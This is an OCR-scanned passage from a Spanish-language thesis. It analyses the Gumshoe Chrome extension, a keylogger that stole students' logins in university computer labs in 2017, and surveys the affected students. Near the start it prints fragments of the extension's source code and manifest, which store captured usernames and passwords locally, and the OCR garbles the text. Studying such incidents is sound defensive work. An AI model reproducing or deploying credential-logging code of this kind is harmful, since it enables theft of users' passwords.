tx.executeSqgl(query, [%' + request.refine + '%'],

function(tx, result) {
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https://github-com.translate.goog/AJAr/gumshoe/blob/master/src/js/background.js?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=es-419&_x_tr_pto=op,sc

envia una lista con
todas las credenciales
almacenadas dentro de
la base de datos local,
si por el contrario
encuentra que el
parametro enviado es
‘delete’, borra todas las
credenciales
almacenadas. //
/[Funcién que crea la
tabla donde se
muestran y almacenan
las credenciales, esta

se crea. //

var rows = [];
for (var i = 0; i < result.rows.length; i++)

rows.push(result.rows.item(i));
respond(rows);});}):1);

chrome.runtime.onlinstalled.addListener(function(details) {
db.transaction(function(tx) {

tx.executeSql(CREATE TABLE IF NOT EXISTS log (time
TIMESTAMP'

+ ' DEFAULT CURRENT_TIMESTAMP, href, host, user,
pass, UNIQUE' + ' (host, user, pass)));}D;

chrome.storage.local.set({'passcode':'gselog?});});

Fuente: Artille, A. (s/f). Gumshoe: A Chromium extension for discreet password

logging. https://github.com/AJAr/gumshoe

El json presente, es un manifest, este tipo de archivos son los encargados de

exponer datos y permisos de la extension, aplicacién o programa, al navegador,

lo cual es requerido para que la aplicacion, pueda utilizar toda su funcionalidad,

también al usuario le brinda datos sobre, cuando se cre0 la aplicacion, su version

y como en este caso una descripcion breve de lo que hace el aplicativo.

TABLA 6

Archivo: manifest.json
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/IDatos generales de la extension.
1

/llcono de la extension y nombre
de la imagen donde se extrae. //
//Permisos de abrir pestafias y de
almacenamiento, que pide Ila
extensién para funcionar. //
/IArchivos principales para el

funcionamiento de la aplicacion. //

{"manifest_version": 2,

"name"; "Gumshoe",

"version": "2.14",

"description”: "Discreetly records login data to
local storage.",

"icons": {"128": "img/icon128.png",

"48": "img/icon48.png"},

"permissions”: ['tabs","storage"],
"background":{"scripts": ["js/background.js"]},
"content_scripts": [

{"matches": ["<all_urls>"],

"js": ["js/log.js"]}}

Fuente: Artille, A. (s/ff). Gumshoe: A Chromium extension for discreet password

logging. https://github.com/AJAr/gumshoe

3.4 Descubrimiento de la existencia del Malware Gumshoe en los

laboratorios del CIFCA

3.4.1 Analisis de Malware

Como parte de la revisién que se debe de hacer al tener un equipo infectado, se

realiza una serie de pasos, para obtener la maxima informacién posible sobre el

malware, sus propiedades, como funciona, donde guarda la informacion y como

evitar que vuelva a integrarse al equipo de computo, a lo cual se le denomina

analisis de malware. El objetivo de este analisis es poder responder a dos

preguntas fundamentales:

1. ¢Como es que el malware llegé al equipo de computo?

2. ¢Qué hace el malware?

El analisis de malware se divide en dos tipos:

a) Andlisis estatico.

b) Andlisis dinamico.
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Andlisis estatico de malware

El analisis estatico es el resultado de tomar una muestra de un archivo, url o
cualquier elemento sospechoso sin acceder al mismo, si se trata de un
documento, sin ejecutarlo si se trata de un archivo ejecutable o sin acceder al
recurso web si se trata de una direccion sospechosa. Aunque, como ya se
menciong, la muestra no es ejecutada, hay herramientas que permiten ver parte
de su codigo fuente con el fin de entender cuéles son sus funciones dentro de
las lineas codificadas (CCN-CERT, 2020, p. 2).

Analisis dinamico de malware

Se denomina analisis dinamico al resultado de la detonacién de la muestra ya
sea la apertura del documento, la ejecucion del archivo o el acceso real al
recurso web, dentro de un entorno controlado, con el objetivo de observar los
procesos que se crean, la creacion o modificaciones de archivos, trafico de red,
servicios que se crean o modifican, entre otras.

“‘Mediante este analisis se utilizan herramientas y plataformas capaces de
elaborar un perfil en base a las operaciones realizadas y los cambios registrados
sobre el sistema operativo dentro de los entornos controlados” (CCN-CERT,
2020, p. 3).

3.4.2 Anélisis de Malware Gumshoe dentro de laboratorios CIFCA

Previamente al descubrimiento de este keylogger, ya habian empezado a ocurrir
situaciones donde muchos alumnos informaron que personas ajenas a ellos,
habian entrado a sus redes personales o escolares, robandoles informacién o
datos sensibles después de acceder a sitios web que requerian un login desde
los laboratorios de cédmputo de la FCA, por lo que el personal encargado del
CIFCA y los docentes, alertaron a toda la comunidad de la facultad, con el
propésito de evitar acceder a cualquier red social o pagina que no tuviera

contenido de la clase.

Al revisar los diversos equipos de computo, de primera impresion fue complicado
encontrar indicios de algun tipo de malware, ya que no se veian afectaciones en
el rendimiento de los equipos. Posteriormente se decidié6 examinar las tareas y

procesos ejecutandose, lo cual siguidé dando resultados infructuosos, finalmente,
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como este problema era persistente y se presentaba constantemente, aparte de
la poca experiencia de los alumnos de informética decididos a encontrar la
respuesta de cdmo se obtenian las credenciales, se toma la decision de revisar

archivo por archivo dentro de los equipos.

Esta investigacion arroj6 como sospechosa la ubicacion donde se encontraban
las carpetas utilizadas por las extensiones de Chrome, ya que dentro de una de
ellas se mostraban los archivos utilizados por Gumshoe, estos fueron abiertos y
revisados linea por linea, por lo que se determiné que se trataba de un keylogger
que se habia instalado como extension. Si bien nunca se determiné quien fue la
persona encargada de agregar esta extension, se pudo destacar que el atacante,
borraba todos los accesos directos de los diferentes navegadores presentes en
el escritorio y en la barra de Windows, para unicamente dejar el navegador

Chrome, para que, de esta forma los usuarios fueran directo a la trampa.

Finalmente, al descubrir que se tenia la extension instalada en el navegador, se
procedié a eliminar las contrasefias que contenia y de igual forma se eliminé de
Chrome. Los estudiantes de informéatica, maestros y personas encargadas de los
laboratorios comentaron sobre el hallazgo a la comunidad y procedieron a
realizar la advertencia de no ingresar ningun dato sensible dentro de los equipos

de cédmputo, ni instalar la extension, ya que esto llevaria a una sancion.
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Capitulo IV: Percepcion acerca del Malware Gumshoe por parte de los
alumnos de administracion de la Facultad de Contaduria 'y Administracion
en el aio 2017

Dentro del disefio metodolégico de este trabajo se comentd que, como fuente de
indagacion, se realizaron cuestionarios a los alumnos de ultimo semestre de la
carrera de administracion de la Facultad de Contaduria y Administracion, que

cursaban sus estudios en el afio 2017.

Los cuestionarios se crearon debido a la necesidad presente de contestar a las
preguntas objetivo de la investigacion, aparte de contar con un formulario
especifico de un eje temético referido a los conocimientos de prevencion contra
ataques cibernéticos que poseian los alumnos de Ultimo semestre de
administracion de la Facultad de Contaduria y Administracion en el afio 2017,
este Ultimo, creado a partir de la busqueda bibliografica y mesogréfica dentro de
articulos de interés para este trabajo, los cuales ayudaron a la obtencién de
preguntas referidas al tema de investigacion, encontradas en la web de un
antivirus muy famoso entre los usuarios del sistemas operativo Windows llamado
Kaspersky, el cual ayudd puntuar el conocimiento que tenian los alumnos sobre

esta cuestion.

Con estos cuestionarios, se pretende indagar el tipo de afectacion que sufrieron
los alumnos de ultimo semestre de la carrera de administracion de la Facultad
de Contaduria y Administracién en el afio 2017 y determinar las medidas
preventivas, que tomaron, posterior a lo sucedido con el Malware Gumshoe,
aparte de conocer también si los laboratorios del CIFCA contaban con algun tipo

de proteccion contra malware y si instruyeron a los alumnos después del ataque.

La intencion inicial se orienta a considerar como muestra representativa de
estudio a treinta alumnos de ultimo semestre de la carrera de administracion que
utilizaban los laboratorios de la Facultad de Contaduria y Administracién en el
afio 2017, ya que ellos vivieron la experiencia de lo ocurrido con el Malware
Gumshoe muy de cerca, aparte de mencionar que debido a los requerimientos y
depende de su formacion en las materias de ultimo semestre, los alumnos que
cursaban administracibn como formacion profesional, debian de tomar

asignaturas, donde el uso de un equipo de cémputo era necesario para la clase.
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También esta muestra se designd por la situacién en la cual se desconoce el
namero total de alumnos que cursaban su Ultimo semestre y debido a que esta
pequefia poblacién tomada, es a la cual se tiene acceso para obtener datos
relacionados con el fendbmeno que se estudid, puesto que para seleccionarlos se
tenia la disposicion y la via de comunicacion con diferentes ex alumnos de la
Facultad, a los cuales se llegd mediante grupos de la generacion 2014 -2017 de
Administradores en el medio social denominado Facebook, que se crearon al
ingreso de estas personas a la carrera universitaria y también por medio de ex
compafieros de clases. Aunque la poblacién obtenida, no tiene representacion
estadistica, describe datos relevantes para esta investigacion.

La version final del cuestionario consta de 48 preguntas, las cuales se decidio
hacer de tipo cerradas con opcion mdultiple, debido a que ayudo6 para generar
respuesta concisas, directas, enfocadas y breves dirigidas hacia el tema que
se quiere responder, de la misma forma se tomo esta opcion para obtener datos
cuantificables, que posteriormente seran representados en gréficas o
ponderaciones. Los datos en dichas representaciones pueden ser leidos rapido

por el lector y ayudara a una mejor comprension del suceso.

Las preguntas realizadas, basicamente ayudaron a parametrizar, calificar y
comparar las respuestas obtenidas, las cuales son necesarias para este tipo de
investigacion, aparte de impedir que la poblacién encuestada se desvie del tema.
Todas las preguntas van dirigidas directamente a abordar la problematica de la
cual se busca informar en esta tesis y se optd por ellas, ya que los datos
recabados van a resolver las preguntas secundarias de la hipétesis, también se
busca conocer desde la experiencia de los alumnos como fueron vulnerados, la
afectaciébn que les ocasiond, la manera en la que buscaron prevenirse, la
importancia que le dieron al suceso y por ultimo conocer si la misma facultad

cre6 mas medidas de control para evitar seguir siendo vulnerada o si no lo hizo.

La aplicacion de los cuestionarios fue de forma anénima, por medio del software
online Google Forms, la cual nos permite administrar preguntas y respuestas,
aparte de generar gréaficas, las cuales por medio de una URL, se pueden

compartir a diversas personas, en este caso, se enviaron tres URL, a causa de
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que se tienen 3 diferentes formularios, de esta manera se hizo llegar las
consultas rapido y sencillo a la poblaciéon de alumnos requerida. La evidencia
que se generd a partir de este instrumento, se adjunté en los anexos con los 90

formularios contestados.

4.1 Cuestionario de conocimientos generales sobre prevencion contra
ciberataques

Este cuestionario permitié determinar los conocimientos de prevencion contra
ciberataques que poseian los alumnos de ultimo semestre de la carrera de
administracion de la Facultad de Contaduria y Administracion en el afio 2017,
con el fin de entender su forma de actuar, en consecuencia a la informacién que
tenian sobre este tema.

Dicho cuestionario se basa en el test del Blog de la pagina del antivirus
Kaspersky titulado ¢Eres un experto en la prevencion de ciberataques?
(Kaspersky, s.f.-b.), del cual se decidi6 tomar ciertas preguntas ya que tienen

una conexién directa con la respuesta que se busca resolver en la hipotesis.

Se quiso recabar el porcentaje de conocimiento promedio con el que contaba la
muestra, a la cual se le comparti6 el formulario sobre prevencion contra
ciberataques, para saber cdmo manejaban sus datos sensibles, aparte de
puntuar de una forma sencilla su entendimiento, se busca tratar los datos en
forma cuantificable y por este medio obtener informacion sobre la porcién de
alumno que tienen un conocimiento bajo y alto sobre este tema.

Las preguntas dieron resultados en relacibn con la edad, el género y
conocimiento de las personas, aparte de calcular el promedio total de las
respuestas correctas entre el total de todas. El resultado se ponderdé de la

siguiente forma:
e Alumnos con la calificacion de 10 - Saben mucho
e Alumnos con la calificacion menores a 5 - Poseen muy pocos

conocimientos.

A continuacion se muestra el cuestionario aplicado:

87



Por favor, contesta las siguientes preguntas de acuerdo con la informacién que

tenias cuando cursabas la licenciatura.

1. ¢Cual es tu sexo?
a) Femenino.

b) Masculino.

2. ¢Cuadl eratu edad en el afio 20177
a) 17 a 20.
b) 21 a24.
c) 25a28.
d) Otro.

3. ¢Qué dispositivo utilizas con mas frecuencia para acceder a Internet para tu
uso personal?
a) Portatil o computadora de escritorio.
b) Tableta.
c) Celular.
d) Tableta de Windows.
e) Otro.

4. Una péagina web te pide que crees una contrasefia mas fuerte ¢Qué haces
para que no se te olvide?
a) La escribo en un papel.
b) Me esfuerzo en memorizarla.
c) La guardo en mi navegador y activo la opcién autocompletar.
d) La guardo en mi celular.
e) La guardo como nota en mi computadora.

f) Utilizo un gestor de contrasefas.

5. Has introducido tu usuario y contrasefia en un servicio de correo electronico.
El navegador te ofrece la posibilidad de guardar tus credenciales para que la
préxima vez puedas entrar de manera automatica. ¢ Qué harias?

a) Utilizaria esta opcién para no tener que introducir mis datos cada vez que

vaya a entrar.
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b) No lo haria. Es mas, desactivaria la opcidn recordar tu contrasefa.
c) No accedo al correo a través de sitios web de correo electronico, solo a
través de aplicaciones instaladas en el dispositivo.

¢, Como almacenas en tu computadora la informacién que no quieres que

nadie vea?

a) Todos los datos sensibles estan almacenados en una carpeta protegida
por una contrasefa.

b) Oculto mi ordenador de la vista de otras personas.

c) Mi dispositivo esté protegido con una contrasefia.

d) Todos mis datos sensibles estan guardados cifrados.

e) Solo oculto mis datos cuando le dejo mi computadora a otra persona.

f) Borro inmediatamente todos los datos que no quiero que nadie vea.

g) No tengo datos sensibles

¢, COmo sueles instalar nuevas aplicaciones en tu computadora?

a) Hago clic en siguiente-siguiente-acepto-siguiente... sin leer.

b) Leo atentamente todos los mensajes y modifico los ajustes si es
necesario.

c) No suelo instalar aplicaciones personalmente.

¢ Como reaccionas ante las paginas web que identifican tu ubicacion y te

despliegan anuncios en base a las paginas que has visitado y tu historial?

a) jMe gusta! Es muy util.

b) No me gusta mucho pero asi es como funciona Internet.

c) Utilizo el modo incégnito del navegador y activo las funciones que evitan
este tipo de rastreo.

d) He instalado una aplicacién/extensién que evita que las paginas web
recopilen mi historial de busquedas.

e) Nunca me ha importado.
¢ Borras tus archivos descargados en computadoras que no te pertenecen?

a) Si.
b) No.
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10. ¢ Cuentas con un perfil en alguna de las redes sociales (Facebook, Twitter,
Instagram, etc.)?
a) Si.
b) No.

11.Has recibido un mensaje de un amigo a través de una red social. Tu amigo
te sugiere que accedas a un link y le des me gusta en las fotos. ¢ Qué harias?
a) jClaro que lo hago! Es un amigo.
b) Le pido a mi amigo/a que me cuente algo sobre las fotos. Si me contesta,
hago clic en el link.

c) Marco el mensaje como spam y bloqueo a mi amigo.

12..:,Qué datos personales de tus perfiles en redes sociales son visibles para
todos y no sélo para tus amigos?
a) Solo mi nombre o apodo y la foto de perfil.
b) Virtualmente todo. No me preocupan los ajustes de privacidad.
c) Mi nombre completo, fotos y publicaciones.
d) Mi nombre completo, fotos, estatus, ubicacion y check-ins.
e) Nunca habia pensado en ello.

13.Tu sistema operativo te informa de que hay actualizaciones que tienen que
ser descargadas e instaladas ¢ Qué haces?
a) No instalo nada porque afectaria la velocidad de Internet y el rendimiento
del ordenador.
b) Lo hago. Las actualizaciones pueden ser importantes para el sistema
operativo.
c) Puede que instale las actualizaciones en el futuro.

d) No veo ninguna notificacion de mi sistema.

14.;Has tomado algun curso o tienes conocimientos sobre los riesgos por
malware?
a) Si.
b) No.
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4.2 Cuestionario de los tipos de afectacion que tuvieron los estudiantes
por el Malware Gumshoe.

Este cuestionario permiti6 determinar el tipo de afectacién que sufrieron los
alumnos de ultimo semestre de la carrera de administracion de la Facultad de
Contaduria y Administracion en el afio 2017, con el fin de conocer la magnitud
del incidente al que estuvieron expuestos y la forma en la que fueron impactados
por el Malware Gumshoe.

Este cuestionario es de elaboracion propia, debido a que se requirié obtener
datos en relacién con la afectacion que sufrieron los alumnos desde su propia

percepcion.

La informacion que se generd a partir de este formulario fue la de conocer
cuantos alumnos fueron vulnerados, cuales datos sensibles les fueron robados,
el uso que les daban a los laboratorios, las veces que los utilizaban, los
percances ocasionados por el robo de sus datos confidenciales y su experiencia
sobre si percibian que los laboratorios tenian algin método de seguridad para

evitar estas situaciones.

También se busco no solo tratar los datos de forma cualitativa, sino de igual
modo se trataron los datos de modo cuantificable ya que se crearon graficas a

partir de las respuestas dadas, las cuales serdn comentadas mas adelante.

A continuacién se muestra el cuestionario aplicado:

Por favor, contesta las siguientes preguntas de acuerdo con la informacion que

tenias cuando cursabas la licenciatura.

1. ¢Utilizabas con frecuencia los equipos de computo dentro del laboratorio del
CIFCA?
a) Si.
b) No.

2. ¢Tenias conocimiento del reglamento interno de los laboratorios del CIFCA?
a) Si.

b) No.
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3. Sirespondiste de forma afirmativa a la anterior pregunta, contesta: ¢ seguias
todos los puntos mencionados dentro del reglamento?
a) Si.
b) No.

4. ¢Tenias conocimiento sobre si en los laboratorios del CIFCA tenia medidas
preventivas para evitar problemas con malware?
a) Si.
b) No.

5. Sirespondiste de forma afirmativa, contesta: ¢ Cuales de estas medidas se

utilizaban en los laboratorios del CIFCA?

a) Lista negra, mediante software, de sitios a los cuales no se podian
acceder.

b) Solo instrucciones verbales de los sitios a los cuales no se podian
acceder.

c) Monitoreaban lo que se realizaba en los equipos mediante un sistema en
una computadora principal.

d) Se evitaba la descarga de cualquier contenido/Se evitaba el afadir
cualquier extension a los navegadores.

e) Otra.

f) Ninguna.

6. ¢Cual de los siguientes navegadores utilizabas dentro de los laboratorios del
CIFCA?
a) Chrome.
b) Internet Explorer.
c) Firefox.
d) Microsoft Edge.

7. Utilizabas el equipo de cémputo dentro del CIFCA para ...
a) Buscar temas relacionados con la clase.
b) Revisar mis redes sociales.
c) Ver videos en YouTube.

d) Todo lo anterior.
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10.

11.

12.

13.

14.

15.

e) Otro.

Si respondiste de forma afirmativa a Revisar mis redes sociales, al terminar
de usarlas, ¢.cerrabas la sesion?

a) Si.

b) No.

¢ Preferias solo ingresar a tus redes sociales o plataforma educativa, desde
dispositivos de tu propiedad?

a) Si.

b) No.

¢Alguna vez encontraste tus datos sensibles compartidos en algun sitio web?
a) Si.
b) No.

¢Alguna vez encontraste fotos, videos o conversaciones tuyas en sitios de
almacenamiento en la nube?

a) Si.

b) No.

¢Alguna vez sentiste que alguien mas tenia acceso a tus redes sociales o
plataforma educativa?

a) Si.

b) No.

¢ Se te informd que tus credenciales de acceso a cualquiera de tus redes
sociales o plataforma educativa, pudieron ser compartidas?

a) Si.

b) No.

¢Alguien tuvo acceso a los datos de tu banco?

a) Si.

b) No.

Sirespondiste de forma afirmativa a alguna de las preguntas de la 10 a la 14,
contesta: ¢, Te acercaste con algun docente para comentarle del ingreso a tus

redes sociales?
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a) Si.
b) No.

16.Si respondiste de forma afirmativa a la pregunta anterior, contesta: ¢ Le dio
solucion a tu problema? O ¢ Te ayudo de alguna forma?
a) Si.
b) No.

17.Si respondiste de forma afirmativa a la anterior pregunta, contesta: ¢ Tuviste
algun tipo de problema debido a la informacién que se compartio de ti?
a) Si.
b) No.

18.Si respondiste de forma afirmativa a la anterior pregunta, contesta: ¢ Qué tipo
de problema tuviste debido a la informacién que se compartié de ti?
a) Familiar.
b) Educativo.
c) Amigos.
d) Financiero.
e) Sentimental.
f) Mental.
g) Otro.
h) Ninguno.

4.3 Cuestionario de medidas preventivas que tomaron los estudiantes
debido al Malware Gumshoe

Este cuestionario permitié determinar las medidas preventivas, que tomaron los
alumnos de ultimo semestre de la carrera de administracion de la Facultad de
Contaduria y Administracion en el afio 2017, con el fin de evitar que sus datos
fueran vulnerados y/o compartidos por diversos medios debido al Malware

Gumshoe.

Este cuestionario es de elaboracién propia, debido a que se requirié extraer

respuestas con datos cualitativos y cuantitativos, de los cuales, en el primer caso
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se muestra la experiencia desde el punto de vista de los alumnos sobre las
medidas de prevencién que tomaron a partir de este suceso, también se quiso
saber si los laboratorios del CIFCA optaron por crear mas medidas precautorias
para evitar una mayor cantidad de casos de vulneracion de datos sensibles. En
el segundo caso, donde se extrajeron datos cuantitativos, se crearon estadisticas

y graficas, los hallazgos resultantes seran comentados mas adelante.

A continuacion se muestra el cuestionario aplicado:

Por favor, contesta las siguientes preguntas de acuerdo con la informacion que

tenias cuando cursabas la licenciatura.

1. ¢(Te enteraste de lo ocurrido con el Malware Gumshoe mientras ocurria el
incidente?
a) Si.
b) No.

2. ¢Cambiaste tu contrasefa, después de lo ocurrido?
a) Si.
b) No.

c) Nunca me enteré.

3. ¢Tomaste alguna precaucion extra como borrar el historial o usar la opcién
incognito del navegador, después de lo ocurrido?
a) Si.
b) No.

c) Nunca me enteré.

4. (Al saber sobre este hecho, volviste a ingresar a tus redes sociales o
plataforma educativa sin ninguna proteccion y/o prevencion?
a) Si.
b) No.

c) Nunca me enteré.
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¢ Utilizaste alguna de las herramientas de autenticacion que poseen tus redes
sociales para prevenir el acceso a intrusos, después de lo ocurrido?

a) Si.

b) No.

c) Nunca me enteré.

Con las herramientas de tus redes sociales ¢Monitoreabas desde que
dispositivos se accedian a ellas, después de lo ocurrido?

a) Si.

b) No.

c) Nunca me enteré.

¢ Preferias solo ingresar a tus redes sociales o plataforma educativa desde
tus dispositivos, después de lo ocurrido?

a) Si.

b) No.

c) Nunca me enteré.

¢ Después de lo ocurrido, buscaste informacion para prevenir el acceso a tus
redes sociales o plataforma educativa?

a) Si.

b) No.

c) Nunca me enteré.

Si respondiste de forma afirmativa a la pregunta anterior, contesta: ¢De

donde obtuviste la informacién para prevenir de nuevo un acceso a tus redes

sociales o plataforma educativa?

a) Obtuviste informacion por medio de un docente.

b) Obtuviste informacién por medio de un docente especializado en temas
de seguridad informatica.

c) Obtuviste informacion en internet.

d) Obtuviste informacion por medio de un amigo.

e) Obtuviste informacién por medio de un amigo que sabia de temas de

seguridad informatica.
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10.Si tus datos sensibles fueron vulnerados, contesta: ¢Pudiste evitar que se
compartieran tus datos sensibles?
a) Si.
b) No.

c) Mis datos sensibles no fueron compartidos.

11.;,Tomaste mejores medidas preventivas antes de ingresarte a tus redes
sociales o plataforma educativa en un equipo que no era tuyo, después de lo
ocurrido?
a) Si.
b) No.

c) Nunca me enteré.

12.¢;Comentaste lo sucedido con alguien?
a) Familia.
b) Amigos.
c) Docente.
d) Otro.
e) Nunca me enteré.
f) No.

13.¢Conociste algun otro compafiero que fuera afectado por algun tipo de
malware como el mencionado anteriormente?
a) Si.
b) No.

14.;Sabes si en los laboratorios del CIFCA se tomaron medidas preventivas
después de lo ocurrido con el Malware Gumshoe?
a) Si.
b) No.

15.Si respondiste de forma afirmativa a la anterior pregunta, contesta: ¢ Cuales
fueron esas medidas preventivas que tomaron los laboratorios del CIFCA,

después de lo ocurrido con el Malware Gumshoe?
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a) Lista negra mediante software, de sitios a los cuales no se podian
acceder.

b) Solo instrucciones verbales de los sitios a los cuales no se podian
acceder.

c) Se modificé el reglamenté de los laboratorios del CIFCA.

d) Monitorear lo que se realizaba en los equipos mediante un sistema en una
computadora principal.

e) Se evitd la descarga de cualquier contenido/Se evitaba el afiadir cualquier
extension a los navegadores.

f) Otra.

g) Ninguna.

16. ¢ Actualmente sigues tomando alguna medida preventiva para evitar que tus
redes sociales o datos sensibles sean vulnerados?
a) Si.
b) No.

4.4 Resultados de los Cuestionarios
4.4.1 Resultados Primer Cuestionario

En este apartado se observan los resultados obtenidos del primer cuestionario
mencionado anteriormente, el cual se hizo a partir del andlisis de las gréficas,
con la cuales se pueden determinar puntos o conclusiones importantes para la
hipotesis.

Todos los cuestionarios tienen una relacion entre si, pero es importante
comenzar con los datos que se consiguieron del formulario de Conocimientos
Generales Sobre Prevencion Contra Ciberataques, el cual dara la pauta para ir
desenlazando los cuestionamientos que se comentaron al principio de esta tesis,
ya que sefiala la puntuacién obtenida sobre la prevencion contra ciberataques

de los ex alumnos.

Como se comentd con anterioridad, este primer formulario fue aplicado a 30

personas, de las cuales el 56.7% eran mujeres y el 43.3% fueron hombres.
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Figura 13 - Gréfica 1

;Cuadl es tu sexo?

30 respuestas

@ Femenino.
@ Masculino.

Elaboracién Propia

El 60% de esta poblacién tenian edades entre los 25 a 28 afios, mientras el 30%
pertenecia a edades de entre 21 a 24 afios y el 10% del total tenian de 17 a 20

anos, cuando ocurri6 el incidente.

Figura 14 - Gréfica 2

¢Cual era tu edad en el afio 20177?
30 respuestas

@ 17a20.
@ 21a24.
@® 25a28.
@ Otro.

Elaboracion Propia

Los dispositivos que mayormente usaban en el afio 2017 eran el celular con un

porcentaje de 46.7% y la computadora, sea portéatil o de escritorio con un 33.3%.
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Figura 15 - Gréfica 3

¢Qué dispositivo utilizas con mas frecuencia para acceder a Internet para tu uso personal?
30 respuestas

@ Portatil o computadora de escritorio.
@ Tableta.
Celular.
@ Tableta de Windows.
@ Otro.

Elaboracién Propia

Las preguntas enfocadas en el tema de prevencion contra ciberataques,

destacaron los siguientes puntos:

Sélo el 3% de la muestra comentd usar un gestor de contrasefas, para guardar
sus credenciales, mientras que el porcentaje mas alto del 40% inform6 que
usaba su celular para guardarlas, lo cual no es un procedimiento totalmente

seguro donde proteger usuarios y contrasefias.

Figura 16 - Gréfica 4

Una pagina web te pide que crees una contrasefia mas fuerte ;Qué haces para que no se te olvide?

5/30 respuestas correctas

La escribo en un papel.[—0 (0 %)

Me esfuerzo en memorizarla. 2 (6.7 %)

La guardo en mi navegador y

; I 8 (26.7 %)
activo la opcién autocompletar.
La guardo en mi celular. 12 (40 %)

La guardo como nota en mi

5(16.7 %
computadora. ( 6)

Utilizo un gestor de contrasefias. 3 (10 %)

0.0 25 5.0 7.5 10.0 12.5

Elaboracion Propia

Otro de los puntos importantes a mencionar de las personas a las cuales se les
compartio el formulario, es que piensan que sus dispositivos como la
computadora o el celular se encuentran protegidos de amenazas, debido a que

tienen contrasefa, no es correcto pensar de esa forma, debido a que en los
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sistemas Windows y Android es facil encontrar muchos malware o puertas
traseras donde las credenciales de usuarios no son un impedimento, para
acceder. Si bien es bueno contar con este control de acceso, se deben de

combinar con otros mas robustos.

Figura 17 - Gréfica 5

:Como almacenas en tu computadora la informacion que no quieres que nadie vea?
1/30 respuestas correctas

Todos los datos sensibles esta... 2 (6.7 %)

Oculto mi ordenador de la vista... 2 (6.7 %)

Mi dispositivo esta protegido co... 15 (50 %)
Todos mis datos sensibles esta... 1(3.3%)

Sdlo oculto mis datos cuando I... 5 (16.7 %)

Borro inmediatamente todos lo... 5(16.7 %)

No tengo datos sensibles—0 (0 %)

0 5 10 15

Elaboracién Propia

También otro tema a destacar son los sitios de internet de los cuales descargan
programas o a los cuales ingresan, algunas personas, no saben que diversas
pagina web, pueden contener malware que pueda obtener informacién personal,
lo mismo ocurre con los programas que son descargados de sitios de internet de
dudosa procedencia, donde no se verifica bien lo que se esta instalando en el
equipo personal, al aceptar todo lo que se muestra en el instalador, sin buscar
otras opciones.
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Figura 18 - Gréfica 6

:Como sueles instalar nuevas aplicaciones en tu computadora?
6/30 respuestas correctas

Hago clic en siguiente-siguiente-

= ) —24 (80 %)
acepto-siguiente... sin leer.

Leo atentamente todos los
mensajes y modifico los ajustes —6 (20 %)
si es necesario.

No suelo instalar aplicaciones

—0 (0 %)
personalmente.

Elaboracién Propia

Por dltimo, el promedio que tienen los ex alumnos sobre conocimiento de
prevencion contra ciberataques es de 3.4 de 10 puntos, destacando que 9
personas de la muestran tuvieron 3 preguntas correctas. Solo una persona
acertd correctamente a las 10 respuestas, pero se puede apreciar que esta
persona ha llevado cursos sobre temas de TI.

A continuacion muestro los resultados de las preguntas:

Figura 19 - Gréfica 7

Promedio Mediana Rango
3.4 /10 puntos 3 /10 puntos 0- 10 puntos

Distribucién de puntos totales

it de usuarios que
responderon

L= T L T - = I = < B = |

0 1 2 3 4 ] i 7 3 ] 10
Puntuacién lograda

Elaboracién Propia
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Concluyendo de esta forma que los alumnos de ultimo semestre de la carrera de
administracion de la Facultad de Contaduria en el afio 2017, no poseian el

conocimientos suficiente sobre ataques cibernéticos.

4.4.2 Resultados Segundo Cuestionario

El siguiente cuestionario aplicado, explica los diferentes tipos de afectacién que
tuvieron los estudiantes debido al Malware Gumshoe, los resultados son los

siguientes:

El 60% de los alumnos a los cuales se les aplicO el cuestionario tenian

conocimiento del reglamento interno de los laboratorios del CIFCA.

Figura 20 - Gréfica 8

¢ Tenias conocimiento del reglamento interno de los laboratorios del CIFCA?

0/30 respuestas correctas

Si. 18 (60 %)

No. 12 (40 %)

Elaboracion Propia

Pero solo el 13.6% respetaba todos los puntos de este.
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Figura 21 - Gréfica 9

Si respondiste de forma afirmativa a la anterior pregunta, contesta: ; seguias todos los puntos
mencionados dentro del reglamento?

0/22 respuestas correctas

Si. 3 (13.6 %)

No. 19 (86.4 %)

Elaboracién Propia

Ya que el 66.7% ocupaban los equipos para revisar sus redes sociales, ver
videos, entre otras actividades las cuales no estaban permitidas en el

reglamento.

Figura 22 - Gréfica 10

Utilizabas el equipo de cémputo dentro del CIFCA para ...

0/30 respuestas correctas

Buscar temas relacionados con 7 (233 %)
la clase.
Revisar mis redes sociales. 1(3.3 %)
Ver videos en YouTube. 1(3.3 %)
Todo lo anterior. 20 (66.7 %)
Otro. 1(3.3 %)
0 5 10 15 20

Elaboracion Propia

Aparte de destacar que el 91.7% de los estudiantes mencionaron que los
laboratorios solo contaban con instrucciones verbales de los sitios web a los
cuales no podian acceder y no se poseia otro control, sobre los equipos de

computo.
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Figura 23 - Gréfica 11

Si respondiste de forma afirmativa, contesta: ;Cudles de estas medidas se utilizaban en los
laboratorios del CIFCA?

0/12 respuestas correctas

Lista negra, mediante software,

de sitios a los cuales no se pod...
Solo instrucciones verbales de

L 11 (91.7 %)

los sitios a los cuales no se po...

Monitoreaban lo que se realizaba

en los equipos mediante un sis. ..

Se evitaba la descarga de

cualquier contenido/Se evitaba...

0 (0 %)

Ninguna. 1(8.3 %)

Otra.|—0 (0 %)

0.0 25 5.0 7.5 10.0 12.5

Elaboracion Propia

El 6.7% de la poblacién seleccionada, encontré sus datos sensibles en algun
sitio web y comentd haber tenido problemas de tipo familiar y de tipo sentimental,
debido a esta situacion, aparte de responder de forma negativa cuando se
preguntd sobre si algun docente habia intercedido por él, para revisar la cuestion
de sus datos expuestos.

Figura 24 - Gréfica 12

¢Alguna vez encontraste fotos, videos o conversaciones tuyas en sitios de almacenamiento en la

nube?
0/30 respuestas correctas

Si. 2 (6.7 %)

No. 28 (93.3 %)

Elaboracién Propia
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Figura 25 - Gréfica 13

Si respondiste de forma afirmativa a la anterior pregunta, contesta: ;Qué tipo de problema tuviste
debido a la informacién que se compartio de ti?

0/2 respuestas correctas

Familiar. 1 (50 %)
Educativo. 0 (0 %)

Amigos. 0 (0 %)

Financiero. 0 (0 %)
Sentimental. 1 (50 %)
Mental. 0 (0 %)

Ninguno. 0 (0 %)

Otro. 0 (0 %)
0.0 0.2 0.4 0.6 0.8 1.0

Elaboracion Propia

Aunque solo estas dos personas mencionaron encontrar su informacion
sensibles en paginas web, el 20% comentd haberse percatado que alguien mas

tenia acceso a sus redes sociales o plataformas educativas.

Figura 26 - Gréfica 14

¢Alguna vez sentiste que alguien mas tenia acceso a tus redes sociales o plataforma educativa?
0/30 respuestas correctas

Si. 6 (20 %)

No. 24 (80 %)

Elaboracion Propia

